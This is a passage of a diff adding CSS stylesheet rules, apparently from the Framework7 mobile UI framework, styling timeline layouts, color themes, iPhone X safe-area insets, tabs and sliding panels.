.timeline-item .timeline-item-date { + text-align: right; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; +} +.md .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item-left .timeline-item-date { + text-align: left; +} +.md .timeline-sides .timeline-item-right { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item-right .timeline-item-date { + text-align: right; +} +@media (min-width: 768px) { + .md .tablet-sides .timeline-item { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item .timeline-item-date { + text-align: right; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; + } + .md .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item-left .timeline-item-date { + text-align: left; + } + .md .tablet-sides .timeline-item-right { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item-right .timeline-item-date { + text-align: right; + } +} +.md .timeline-horizontal { + padding: 0; + margin: 0; + position: relative; +} +.md .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 12px; +} +.md .timeline-horizontal .timeline-item-date { + background: #2196f3; + padding: 0px 12px; + color: #fff; +} +.md .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .timeline-horizontal .timeline-item-content { + padding: 12px; + height: calc(100% - 12px); +} +.md .timeline-horizontal.no-shadow .timeline-item-date:after { + display: none; +} +.md .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.md .timeline-horizontal .timeline-item:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .timeline-year-title, +.md .timeline-month-title { + padding: 0 12px; + color: #fff; + background: #2196f3; +} +.md .timeline-year-title span, +.md .timeline-month-title span { + left: 12px; +} +.md .timeline-year-title span { + margin-top: 2px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(12px + constant(safe-area-inset-left)); + left: calc(12px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(12px + constant(safe-area-inset-left)); + padding-left: calc(12px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .timeline-item-inner { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .timeline-item-time { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .timeline-item-date, +.md .color-theme-red .timeline-year-title, +.md .color-theme-red .timeline-month-title { + background: #f44336; +} +.md .color-theme-green .timeline-item-date, +.md .color-theme-green .timeline-year-title, +.md .color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .color-theme-blue .timeline-item-date, +.md .color-theme-blue .timeline-year-title, +.md .color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .color-theme-pink .timeline-item-date, +.md .color-theme-pink .timeline-year-title, +.md .color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .color-theme-yellow .timeline-item-date, +.md .color-theme-yellow .timeline-year-title, +.md .color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .color-theme-orange .timeline-item-date, +.md .color-theme-orange .timeline-year-title, +.md .color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .color-theme-gray .timeline-item-date, +.md .color-theme-gray .timeline-year-title, +.md .color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .color-theme-white .timeline-item-date, +.md .color-theme-white .timeline-year-title, +.md .color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .color-theme-black .timeline-item-date, +.md .color-theme-black .timeline-year-title, +.md .color-theme-black .timeline-month-title { + background: #000000; +} +.md .timeline.color-theme-red .timeline-item-date, +.md .timeline.color-theme-red .timeline-year-title, +.md .timeline.color-theme-red .timeline-month-title { + background: #f44336; +} +.md .timeline.color-theme-green .timeline-item-date, +.md .timeline.color-theme-green .timeline-year-title, +.md .timeline.color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .timeline.color-theme-blue .timeline-item-date, +.md .timeline.color-theme-blue .timeline-year-title, +.md .timeline.color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .timeline.color-theme-pink .timeline-item-date, +.md .timeline.color-theme-pink .timeline-year-title, +.md .timeline.color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .timeline.color-theme-yellow .timeline-item-date, +.md .timeline.color-theme-yellow .timeline-year-title, +.md .timeline.color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .timeline.color-theme-orange .timeline-item-date, +.md .timeline.color-theme-orange .timeline-year-title, +.md .timeline.color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .timeline.color-theme-gray .timeline-item-date, +.md .timeline.color-theme-gray .timeline-year-title, +.md .timeline.color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .timeline.color-theme-white .timeline-item-date, +.md .timeline.color-theme-white .timeline-year-title, +.md .timeline.color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .timeline.color-theme-black .timeline-item-date, +.md .timeline.color-theme-black .timeline-year-title, +.md .timeline.color-theme-black .timeline-month-title { + background: #000000; +} +/* === Tabs === */ +.tabs .tab { + display: none; +} +.tabs .tab-active { + display: block; +} +.tabs-animated-wrap { + position: relative; + width: 100%; + overflow: hidden; + height: 100%; +} +.tabs-animated-wrap > .tabs { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + height: 100%; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-animated-wrap > .tabs > .tab { + width: 100%; + display: block; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.tabs-animated-wrap.not-animated > .tabs { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-swipeable-wrap { + height: 100%; +} +.tabs-swipeable-wrap > .tabs { + height: 100%; +} +.tabs-swipeable-wrap > .tabs > .tab { + display: block; +} +.page > .tabs { + height: 100%; +} +/* === Panels === */ +.panel-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: 0; + z-index: 5999; + display: none; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.panel-backdrop.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel { + z-index: 1000; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + overflow: auto; + -webkit-overflow-scrolling: touch; + top: 0; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + width: 260px; + background-color: #fff; +} +.panel.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel.panel-reveal.not-animated ~ .views, +.panel.panel-reveal.not-animated ~ .view { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel-cover { + z-index: 6000; +} +.panel-left { + left: 0; +} +.panel-left.panel-cover { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.panel-right { + right: 0; +} +.panel-right.panel-cover { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.panel-visible-by-breakpoint { + display: block; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; +} +.panel-visible-by-breakpoint.panel-cover { + z-index: 5900; +} +html.with-panel .framework7-root > .views .page-content, +html.with-panel .framework7-root > .view .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +html.with-panel-left-cover .panel-backdrop, +html.with-panel-right-cover .panel-backdrop { + display: block; + opacity: 1; +} +html.with-panel-left-reveal .panel-backdrop, +html.with-panel-right-reveal .panel-backdrop, +html.with-panel-transitioning .panel-backdrop { + background: rgba(0, 0, 0, 0); + display: block; + opacity: 0; +} +html.with-panel-left-reveal .views, +html.with-panel-left-reveal .framework7-root > .view, +html.with-panel-left-reveal .panel-backdrop { + -webkit-transform: translate3d(260px, 0, 0); + transform: translate3d(260px, 0, 0); +} +html.with-panel-right-reveal .views, +html.with-panel-right-reveal .framework7-root > .view, +html.with-panel-right-reveal .panel-backdrop { + -webkit-transform: translate3d(-260px, 0, 0); + transform: translate3d(-260px, 0, 0); +} +html.with-panel-left-cover .panel-left { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-panel-right-cover .panel-right { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-statusbar.device-ios .panel, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel { + top: 20px; + height: calc(100% - 20px); +} +html.with-statusbar.device-android .panel, +html.with-statusbar.md:not(.device-ios):not(.device-android) .panel { + top: 24px; + height: calc(100% - 24px); +} +html.with-statusbar.device-iphone-x .panel { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); +} +.ios .panel-backdrop { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + background: rgba(0, 0, 0, 0); +} +.ios .panel { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios.with-panel-left-reveal .views, +.ios.with-panel-right-reveal .views, +.ios.with-panel-transitioning .views, +.ios.with-panel-left-reveal .framework7-root > .view, +.ios.with-panel-right-reveal .framework7-root > .view, +.ios.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.md .panel-backdrop { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + background: rgba(0, 0, 0, 0.2); +} +.md .panel { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .panel-visible { + display: block; +} +.md .panel-visible-by-breakpoint { + 